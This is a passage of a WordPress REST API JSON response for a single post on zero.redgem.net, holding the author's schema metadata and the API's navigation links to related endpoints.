redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37575","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37575"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37575\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37575"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37575"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37575"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}